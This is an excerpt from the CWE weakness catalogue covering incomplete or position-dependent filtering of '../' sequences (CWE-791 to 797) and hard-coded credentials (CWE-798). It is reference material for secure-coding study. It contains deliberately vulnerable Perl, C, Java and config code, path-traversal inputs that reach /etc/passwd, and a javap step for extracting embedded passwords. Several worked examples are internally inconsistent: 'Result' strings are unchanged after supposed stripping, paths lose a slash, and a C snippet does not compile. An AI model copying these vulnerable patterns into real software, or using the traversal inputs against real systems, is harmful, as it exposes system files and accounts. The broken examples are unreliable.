Nature	Type	ID	Name	Page
ChildOf		790	Improper Filtering of Special Elements	1687
ParentOf		792	Incomplete Filtering of One or More Instances of Special Elements	1690
ParentOf		795	Only Filtering Special Elements at a Specified Location	1694

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2454

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2332

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter `../` from the input. It then appends this result to the `/home/user/` directory and attempts to read the file in the final resulting path.

Example Language: Perl (Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: (Attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: (Result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: (Result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2553

CWE-792: Incomplete Filtering of One or More Instances of Special Elements

Weakness ID : 792

Structure : Simple

Abstraction : Variant

Description

The product receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature involves either:

- only filtering a single instance of a special element when more exist, or
- not filtering all instances or all elements where multiple special elements exist.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		791	Incomplete Filtering of Special Elements	1689
ParentOf		793	Only Filtering One Instance of a Special Element	1692
ParentOf		794	Incomplete Filtering of Multiple Instances of Special Elements	1693

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2454

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(Attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(Result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(Result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2553

CWE-793: Only Filtering One Instance of a Special Element

Weakness ID : 793

Structure : Simple

Abstraction : Variant

Description

The product receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	792	Incomplete Filtering of One or More Instances of Special Elements	1690

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2454

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(Attack)

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(Result)

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(Result)

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1407	Comprehensive Categorization: Improper Neutralization	1400	2553

CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

Weakness ID : 794

Structure : Simple

Abstraction : Variant

Description

The product receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

Extended Description


Incomplete filtering of this nature may be applied to:

- sequential elements (special elements that appear next to each other) or
- non-sequential elements (special elements that appear multiple times in different locations).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		792	Incomplete Filtering of One or More Instances of Special Elements	1690

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2454

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(Attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(Result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(Result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2553

CWE-795: Only Filtering Special Elements at a Specified Location

Weakness ID : 795

Structure : Simple

Abstraction : Base

Description

The product receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.

Extended Description

A filter might only account for instances of special elements when they occur:

- relative to a marker (e.g. "at the beginning/end of string; the second argument"), or
- at an absolute position (e.g. "byte number 10").

This may leave special elements in the data that did not match the filter position, but still may be dangerous.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		791	Incomplete Filtering of Special Elements	1689
ParentOf		796	Only Filtering Special Elements Relative to a Marker	1696
ParentOf		797	Only Filtering Special Elements at an Absolute Position	1698

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2454

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language:

(Attack)

```
.././../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(Result)

```
.././etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: (Result)

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

Example 2:

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl (Bad)

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
    $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

Example Language: (Attack)

```
../../etc/passwd
```

will have the first "../" filtered, resulting in:

Example Language: (Result)

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: (Result)

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2553

CWE-796: Only Filtering Special Elements Relative to a Marker

Weakness ID : 796
Structure : Simple
Abstraction : Variant

Description

The product receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		795	Only Filtering Special Elements at a Specified Location	1694

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2454

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language:

(Attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(Result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(Result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2553

CWE-797: Only Filtering Special Elements at an Absolute Position

Weakness ID : 797

Structure : Simple

Abstraction : Variant

Description

The product receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	795	Only Filtering Special Elements at a Specified Location	1694

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2454

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
    $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

*Example Language:**(Attack)*`../../etc/passwd`

will have the first "../" filtered, resulting in:

*Example Language:**(Result)*`../etc/passwd`

This value is then concatenated with the /home/user/ directory:

*Example Language:**(Result)*`/home/user/../../etc/passwd`

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2553

CWE-798: Use of Hard-coded Credentials

Weakness ID : 798**Structure :** Simple**Abstraction :** Base

Description

The product contains hard-coded credentials, such as a password or cryptographic key.

Extended Description

There are two main variations:







- Inbound: the product contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials. In this variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. It can also be difficult for the administrator to detect.
- Outbound: the product connects to another system or component, and it contains hard-coded credentials for connecting to that component. This variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password that can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		344	Use of Invariant Value in Dynamically Changing Context	856
ChildOf		671	Lack of Administrator Control over Security	1487
ChildOf		1391	Use of Weak Credentials	2281
ParentOf		259	Use of Hard-coded Password	630
ParentOf		321	Use of Hard-coded Cryptographic Key	792
PeerOf		257	Storing Passwords in a Recoverable Format	625



Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	699



Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2445



Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf		259	Use of Hard-coded Password	630
ParentOf		321	Use of Hard-coded Cryptographic Key	792

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf		259	Use of Hard-coded Password	630
ParentOf		321	Use of Hard-coded Cryptographic Key	792

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2336
MemberOf		320	Key Management Errors	2340

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Mobile (*Prevalence = Undetermined*)

Technology : ICS/OT (*Prevalence = Often*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question. Any user of the product that hard-codes passwords may be able to extract the password. Client-side systems with</i>	

Scope	Impact	Likelihood
	<i>hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.</i>	
Integrity	Read Application Data	
Confidentiality	Gain Privileges or Assume Identity	
Availability	Execute Unauthorized Code or Commands	
Access Control	Other	
Other	<i>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place.</i>	

Detection Methods

Black Box

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

Effectiveness = Moderate

Automated Static Analysis

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

Manual Static Analysis

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the product, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

Manual Dynamic Analysis

For hard-coded credentials in incoming authentication: use monitoring tools that examine the product's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the product was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Network Sniffer Forced Path Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations**Phase: Architecture and Design**

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7]. In Windows environments, the Encrypted File System (EFS) may provide some protection.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

Phase: Architecture and Design

If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash. Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

Demonstrative Examples

Example 1:

The following code uses a hard-coded password to connect to a database:

Example Language: Java

(Bad)

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Example Language:

(Attack)

```
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C

(Bad)

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!") {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

*Example Language: Java**(Bad)*

```
int VerifyAdmin(String password) {
    if (!password.equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

*Example Language: C**(Bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

*Example Language: Java**(Bad)*

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
}
```

*Example Language: C#**(Bad)*

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

*Example Language: Java**(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

*Example Language: ASP.NET**(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 5:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used hard-coded credentials in their OT products.












Observed Examples

Reference	Description
CVE-2022-29953	Condition Monitor firmware has a maintenance interface with hard-coded credentials https://www.cve.org/CVERecord?id=CVE-2022-29953
CVE-2022-29960	Engineering Workstation uses hard-coded cryptographic keys that could allow for unauthorized filesystem access and privilege escalation https://www.cve.org/CVERecord?id=CVE-2022-29960
CVE-2022-29964	Distributed Control System (DCS) has hard-coded passwords for local shell access https://www.cve.org/CVERecord?id=CVE-2022-29964
CVE-2022-30997	Programmable Logic Controller (PLC) has a maintenance service that uses undocumented, hard-coded credentials https://www.cve.org/CVERecord?id=CVE-2022-30997
CVE-2022-30314	Firmware for a Safety Instrumented System (SIS) has hard-coded credentials for access to boot configuration https://www.cve.org/CVERecord?id=CVE-2022-30314
CVE-2022-30271	Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used in typical deployments https://www.cve.org/CVERecord?id=CVE-2022-30271
CVE-2021-37555	Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288] https://www.cve.org/CVERecord?id=CVE-2021-37555
CVE-2021-35033	Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port https://www.cve.org/CVERecord?id=CVE-2021-35033
CVE-2012-3503	Installation script has a hard-coded secret token value, allowing attackers to bypass authentication

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2012-3503
CVE-2010-2772	SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm https://www.cve.org/CVERecord?id=CVE-2010-2772
CVE-2010-2073	FTP server library uses hard-coded usernames and passwords for three default accounts https://www.cve.org/CVERecord?id=CVE-2010-2073
CVE-2010-1573	Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code https://www.cve.org/CVERecord?id=CVE-2010-1573
CVE-2008-2369	Server uses hard-coded authentication key https://www.cve.org/CVERecord?id=CVE-2008-2369
CVE-2008-0961	Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface https://www.cve.org/CVERecord?id=CVE-2008-0961
CVE-2008-1160	Security appliance uses hard-coded password allowing attackers to gain root access https://www.cve.org/CVERecord?id=CVE-2008-1160
CVE-2006-7142	Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs https://www.cve.org/CVERecord?id=CVE-2006-7142
CVE-2005-3716	VoIP product uses hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information https://www.cve.org/CVERecord?id=CVE-2005-3716
CVE-2005-3803	VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information https://www.cve.org/CVERecord?id=CVE-2005-3803
CVE-2005-0496	Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system https://www.cve.org/CVERecord?id=CVE-2005-0496

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		254	7PK - Security Features	700	2335
MemberOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2356
MemberOf		753	2009 Top 25 - Porous Defenses	750	2374
MemberOf		803	2010 Top 25 - Porous Defenses	800	2376
MemberOf		812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	2378
MemberOf		861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2391
MemberOf		866	2011 Top 25 - Porous Defenses	900	2393
MemberOf		884	CWE Cross-section	884	2588
MemberOf		1131	CISQ Quality Measures (2016) - Security	1128	2463
MemberOf		1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2474

Nature	Type	ID	Name	V	Page
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2608
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2610
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2615
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2515
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2618
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2621
MemberOf	V	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses	1430	2622

Notes

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC03-J		Never hard code sensitive information
OMG ASCSM	ASCSM-CWE-798		
ISA/IEC 62443	Part 3-3		Req SR 1.5
ISA/IEC 62443	Part 4-2		Req CR 1.5

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
70	Try Common or Default Usernames and Passwords
191	Read Sensitive Constants Within an Executable

References

